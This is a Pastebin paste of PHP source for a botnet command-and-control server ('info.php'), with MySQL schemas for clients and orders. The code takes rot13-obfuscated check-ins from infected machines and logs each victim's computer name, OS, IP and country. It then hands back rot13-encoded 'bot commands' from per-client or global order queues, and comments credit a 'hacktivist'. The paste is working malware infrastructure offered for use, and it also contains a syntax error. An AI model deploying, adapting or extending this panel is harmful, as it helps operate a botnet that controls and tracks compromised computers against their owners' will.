Advertisement
Guest User

Untitled

a guest
Jun 2nd, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.86 KB | None | 0 0
  1. <?PHP
  2.  
  3. /*
  4. CREATE TABLE `clients` (
  5. `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  6. `serial` varchar(25) NOT NULL,
  7. `comp_name` varchar(128) NOT NULL,
  8. `os` varchar(5) NOT NULL,
  9. `delay` bigint(20) NOT NULL,
  10. `report_time` TIMESTAMP NOT NULL,
  11. `lastorder_id` bigint(10),
  12. `uptime` varchar(128) NOT NULL,
  13. `ip` varchar(15) NOT NULL,
  14. `country_code` varchar(5) NOT NULL,
  15. `country_name` varchar(20) NOT NULL,
  16. `version` varchar(10) NOT NULL
  17. ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1;
  18.  
  19. CREATE TABLE `global_orders` (
  20. `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  21. `order` varchar(128),
  22. `order_time` TIMESTAMP NOT NULL
  23. ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1;
  24.  
  25. CREATE TABLE `orders` (
  26. `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  27. `clientid` bigint(20) unsigned NOT NULL,
  28. `order` varchar(128),
  29. `order_time` TIMESTAMP NOT NULL
  30. ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1;
  31. */
  32.  
  33.     // file: info.php
  34.    
  35.     include("geoip.inc"); // [hacktivist:code]: for the geoip function added
  36.    
  37.     function isRowEmpty($row)
  38.     {
  39.         foreach($row as $a)
  40.         {
  41.             if(!empty($a))
  42.             {
  43.             return false;
  44.             }
  45.         }
  46.         return true;
  47.     }
  48.  
  49.    
  50.     function sanitize($data)
  51.     {
  52.         // remove whitespaces (not a must though)
  53.         $data = trim($data);
  54.  
  55.         // apply stripslashes if magic_quotes_gpc is enabled
  56.         if(get_magic_quotes_gpc())
  57.         {
  58.             $data = stripslashes($data);
  59.         }
  60.  
  61.         // a mySQL connection is required before using this function
  62.         $data = mysql_real_escape_string($data);
  63.  
  64.         return $data;
  65.     }
  66.    
  67.     // database connection information
  68.     $database = "database_name";
  69.     $user = "user_name";
  70.     $password = "Pa$$worD";
  71.     $host = "localhost";
  72.  
  73.  
  74.     // connect to the database
  75.     $mysql = mysql_connect( $host, $user, $password );
  76.     mysql_select_db( $database );
  77.  
  78.     $buffer_crypted = sanitize($_GET['sid']);
  79.    
  80.     $buffer_clear = str_rot13($buffer_crypted);
  81.  
  82.     // decrypted buffer in this format h6Yht56RfT:UncleBoB-PC:WIN7:50000:m1.0:7653332:22
  83.     //                                  $serial:$comp_name:$os:$delay:$version:$uptime:$lastorder_id
  84.    
  85.     $serial = strtok($buffer_clear, ":");
  86.     $comp_name = strtok(":");
  87.     $os = strtok(":");
  88.     $delay = strtok(":");
  89.     $version = strtok(":");
  90.     $uptime = strtok(":");
  91.     $lastorder_id = strtok(":");
  92.     $ip = getenv("REMOTE_ADDR");
  93.    
  94.     // sanitize ints
  95.    
  96.     $delay = intval($delay);
  97.     $uptime = intval($uptime);
  98.  
  99.     // format uptime
  100.     $minsuptime = $uptime % 60;
  101.    
  102.     if ( $minsuptime > 1 )
  103.     {
  104.         $minsuptime = $minsuptime." Minutes";
  105.     }
  106.     else
  107.     {
  108.         $minsuptime = $minsuptime." Minute";
  109.     }
  110.    
  111.     $hoursuptime = $uptime / 60 % 24;
  112.    
  113.     if ( $hoursuptime > 1 )
  114.     {
  115.         $hoursuptime = $hoursuptime." Hours";
  116.     }
  117.     else
  118.     {
  119.         $hoursuptime = $hoursuptime." Hour";
  120.     }
  121.    
  122.     $daysuptime = $uptime / 60 / 24 % 7;
  123.    
  124.     if ( $daysuptime > 1 )
  125.     {
  126.         $daysuptime = $daysuptime." Days";
  127.     }
  128.     else
  129.     {
  130.         $daysuptime = $daysuptime." Day";
  131.     }
  132.    
  133.     $weeksuptime = $uptime / 60 / 24 / 7 % 52;
  134.    
  135.     if ( $daysuptime > 1 )
  136.     {
  137.         $weeksuptime = $weeksuptime." Weeks";
  138.     }
  139.     else
  140.     {
  141.         $weeksuptime = $weeksuptime." Week";
  142.     }
  143.    
  144.     $uptimeformated = $weeksuptime.", ".$daysuptime.", ".$hoursuptime.", ".$minsuptime;
  145.  
  146.  
  147.     // [hacktivist:code] added geolocate IP, added the new fields in the clients table
  148.     $gi = geoip_open("GeoIP.dat",GEOIP_STANDARD);
  149.     $country_code = geoip_country_code_by_addr($gi, $ip);
  150.     $country_name = geoip_country_name_by_addr($gi, $ip);
  151.     geoip_close($gi);
  152.  
  153.     if( $serial != NULL )
  154.     {
  155.         // populate SQL table
  156.         $sql = "SELECT id FROM clients WHERE serial LIKE '$serial'";
  157.         $result = mysql_query( $sql );
  158.         if( mysql_num_rows( $result ) )
  159.         {
  160.             // if in the clients table update info
  161.             $sql = "UPDATE clients SET report_time=NULL, version='$version', uptime='$uptimeformated', delay='$delay', ip='$ip', country_code='$country_code', country_name='$country_name', lastorder_id='$lastorder_id' WHERE serial LIKE '$serial'";
  162.             $result = mysql_query( $sql );
  163.            
  164.             // get the id of the connected client
  165.             $sql = "SELECT * FROM clients WHERE serial LIKE '$serial'";
  166.             $result = mysql_query( $sql );
  167.             $row = mysql_fetch_array( $result );
  168.             $clientid = $row['id'];
  169.  
  170.             // checks the orders table to see if there is a specific order for this client
  171.             $sql = "SELECT * FROM orders WHERE clientid LIKE '$clientid'";
  172.             $result = mysql_query( $sql );
  173.             $row = mysql_fetch_array( $result ); // stores the row that contains the order information for that specific client
  174.            
  175.             if (!isRowEmpty($row) // if there is a specific bot command prints it out
  176.             {
  177.                 // echo the command to the client and clear it from the orders table
  178.                 echo ">".str_rot13($row['order'])."<\n";
  179.                 $id = $row['id'];
  180.                 $sql = "DELETE FROM orders WHERE id LIKE '$id'";
  181.                 mysql_query( $sql );
  182.             }
  183.             else // grabs the next command it hasn't done in the global_orders table
  184.             {
  185.                 // if lastorder_id = 0 then same but no where stuff, just to get the first row of the table
  186.                 if ($lastorder_id == 0)
  187.                 {
  188.                     $sql = "SELECT * FROM global_orders";
  189.                     $result = mysql_query( $sql );
  190.                     $row = mysql_fetch_array( $result ); // stores the first row in global_orders
  191.                     $command = $row['order'].":".$row['id'];
  192.                     echo ">".str_rot13($command)."<\n"; // echo the command to the client
  193.                 }
  194.                 else
  195.                 {
  196.                     $sql = "SELECT * FROM global_orders WHERE id LIKE '$lastorder_id + 1'";
  197.                     $result = mysql_query( $sql );
  198.                     $row = mysql_fetch_array( $result ); // stores the row that contains the order information
  199.                     $command = $row['order'].":".$row['id'];
  200.                     echo ">".str_rot13($command)."<\n"; // echo the command to the client
  201.                 }
  202.             }
  203.         }
  204.         else
  205.         {
  206.             // else insert info into the clients table
  207.             $sql = "INSERT INTO clients ( id, comp_name, serial, os, ip, country_code, country_name, report_time, delay, version, uptime, lastorder_id ) VALUES ( NULL, '$comp_name ', '$serial', '$os', '$ip', '$country_code', '$country_name', NULL, '$delay', '$version', '$uptimeformated', '$lastorder_id' )";
  208.             if( mysql_query( $sql ) )
  209.                 echo ">ADDED<\n"; // allows the client to know it was succesfully added if needed
  210.         }
  211.     }      
  212. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement